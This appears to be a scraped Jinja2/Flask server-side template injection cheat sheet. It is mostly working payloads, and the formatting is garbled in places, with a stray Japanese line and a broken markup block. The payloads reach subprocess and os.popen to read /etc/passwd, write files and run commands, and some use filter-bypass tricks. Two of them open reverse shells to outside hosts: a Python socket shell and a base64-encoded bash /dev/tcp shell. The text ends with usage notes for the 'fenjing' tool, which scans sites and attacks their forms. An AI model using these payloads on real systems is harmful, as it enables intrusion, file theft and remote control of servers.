{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
一度いくつかの関数を見つけたら、次のようにしてビルトインを復元できます:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
